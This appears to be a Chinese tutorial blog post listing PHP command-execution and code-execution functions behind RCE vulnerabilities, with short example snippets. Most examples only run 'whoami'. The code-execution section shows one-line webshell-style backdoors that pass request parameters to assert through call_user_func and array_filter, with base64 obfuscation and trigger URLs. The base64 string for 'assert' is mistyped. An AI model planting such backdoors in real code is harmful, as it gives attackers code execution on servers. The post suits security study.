当前位置: 首页 > news >正文

RCE漏洞函数

一、rce漏洞概述


        在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞;

二、常见RCE漏洞函数


1.系统命令执行函数


(1)   system():能将字符串作为OS命令执行,且返回命令执行结果;自带有“输出”,直接输出即可实现。

实例测试:

在文件中写入结果 :

<?php

system('echo "<?php phpinfo();//" > 11111.php');

结果实现 :  先输入   127.0.0.1/demo.php    页面创建成功后输入   127.0.0.1/11111.php  即可

 

(2)exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);没有“输出” 需要自己写入,才可实现。

实例测试:

<?php

// 输出运行中的 php/httpd 进程的创建者用户名

// (在可以执行 "whoami" 命令的系统上)

$output=null;

$retval=null;

exec('whoami', $output, $retval);

echo "Returned with status $retval and output:\n";

print_r($output);

?>

结果实现:

(3)passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;与system() 类似,也可以直接输出。

实例测试:

<?php

passthru("whoami");

?>

(4)shell_exec():能将字符串作为OS命令执行,通过 shell 执行命令并将完整的输出以字符串的方式返回。

实例测试:

<?php

$output = shell_exec('whoami');

echo "<pre>$output</pre>";

?>

(5)popen():打开进程文件指针,fread管道 ,打开了一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

注:有一个模式   'r' 表示阅读,'w' 表示写入。

在 Windows 上,popen() 默认是文本模式,即任何从管道中读取/写入的 \n 字符都将转换为 \r\n。如果避免这种情况,可以通过将 mode 设置为 'rb' 和 'wb' 来强制执行二进制模式。

实例测试:

<?php

$handle = popen('whoami', 'r');

echo "'$handle'; " . gettype($handle) . "\n";

$read = fread($handle, 2096);

echo $read;

pclose($handle);

?>

(6)proc_open():与popen()类似,但是 proc_open() 提供了更加强大的控制程序执行的能力。

pcntl_exec():在当前进程空间执行指定程序;

<?php

$descriptorspec = array(

   0 => array("pipe", "r"),  // 标准输入,子进程从此管道中读取数据

   1 => array("pipe", "w"),  // 标准输出,子进程向此管道中写入数据

   2 => array("file", "d:/aaa.txt", "a") // 标准错误,写入到一个文件

);

$process = proc_open('whoami', $descriptorspec, $pipes);

if (is_resource($process)) {

    $output =stream_get_contents($pipes[1]);

    fclose($pipes[1]);

    $returnValue =proc_close($process);

    echo "0utput:".$output;

    echo "Return Value:".$returnValue;

}

?>

注:反引号``:反引号``内的字符串会被解析为OS命令;

2.代码执行函数


(1)eval():将字符串作为php代码执行;

(2)assert():将字符串作为php代码执行;

(3)call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;

<?php

call_user_func('assert',$_REQUEST['pass'])

?>

127.0.0.1/demo.php?pass=phpinfo()

 

(4)array_filter():使用回调函数过滤数组的元素

base64 :assert 编码  YXzZXJ0

<?php

$e = $_REQUEST['e'];  //编码assert

$arr = array($_POST['pass'],);  //phpinfo()

array_filter($arr,base64_decode($e));  //'assert'

?>

127.0.0.1/demo.php?pass=phpinfo()&e=YXNzZXJO

注:可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • RCE漏洞复现
  • 入门岛2-python实现wordcount并进行云端debug
  • git中如何修改提交信息(版本号)
  • Linux系统安全及应用(一):密码安全、命令历史限制、终端自动注销、su命令和限制su命令
  • 停止项目大小调整,开始搜索层自动缩放!
  • HarmonyOS.FA开发流程
  • 企业微信推送消息的Java实现教程
  • 解决svn上传代码,遇到文件冲突的问题
  • Python必备——高效配置与使用Pip换源
  • C++ | Leetcode C++题解之第331题验证二叉树的前序序列化
  • 【从零开始一步步学习VSOA开发】发布订阅重连时同步
  • 代码随想录算法训练营Day26 | Leetcode 455 分发饼干 Leetcode 376 摆动序列 Leetcode 53 最大子序和
  • 【CSharp】简单定义一个异步方法
  • python连接MySQL数据库使用pymysql
  • 嵌入式day25
  • 《微软的软件测试之道》成书始末、出版宣告、补充致谢名单及相关信息
  • flutter的key在widget list的作用以及必要性
  • JavaScript 基础知识 - 入门篇(一)
  • MaxCompute访问TableStore(OTS) 数据
  • node-glob通配符
  • php中curl和soap方式请求服务超时问题
  • webgl (原生)基础入门指南【一】
  • win10下安装mysql5.7
  • Work@Alibaba 阿里巴巴的企业应用构建之路
  • 阿里研究院入选中国企业智库系统影响力榜
  • 百度地图API标注+时间轴组件
  • 分享自己折腾多时的一套 vue 组件 --we-vue
  • - 概述 - 《设计模式(极简c++版)》
  • 观察者模式实现非直接耦合
  • 精彩代码 vue.js
  • 聊聊flink的BlobWriter
  • 聊聊hikari连接池的leakDetectionThreshold
  • 算法系列——算法入门之递归分而治之思想的实现
  • 小而合理的前端理论:rscss和rsjs
  • PostgreSQL 快速给指定表每个字段创建索引 - 1
  • Prometheus VS InfluxDB
  • 第二十章:异步和文件I/O.(二十三)
  • 国内唯一,阿里云入选全球区块链云服务报告,领先AWS、Google ...
  • ​Redis 实现计数器和限速器的
  • ​人工智能之父图灵诞辰纪念日,一起来看最受读者欢迎的AI技术好书
  • ###STL(标准模板库)
  • #中国IT界的第一本漂流日记 传递IT正能量# 【分享得“IT漂友”勋章】
  • (3)llvm ir转换过程
  • (数位dp) 算法竞赛入门到进阶 书本题集
  • (转)3D模板阴影原理
  • (转)linux下的时间函数使用
  • (转)setTimeout 和 setInterval 的区别
  • (转)大道至简,职场上做人做事做管理
  • .net core IResultFilter 的 OnResultExecuted和OnResultExecuting的区别
  • .NET Framework杂记
  • .Net MVC4 上传大文件,并保存表单
  • .Net mvc总结
  • .NET的数据绑定
  • .NET分布式缓存Memcached从入门到实战
  • .net通过类组装数据转换为json并且传递给对方接口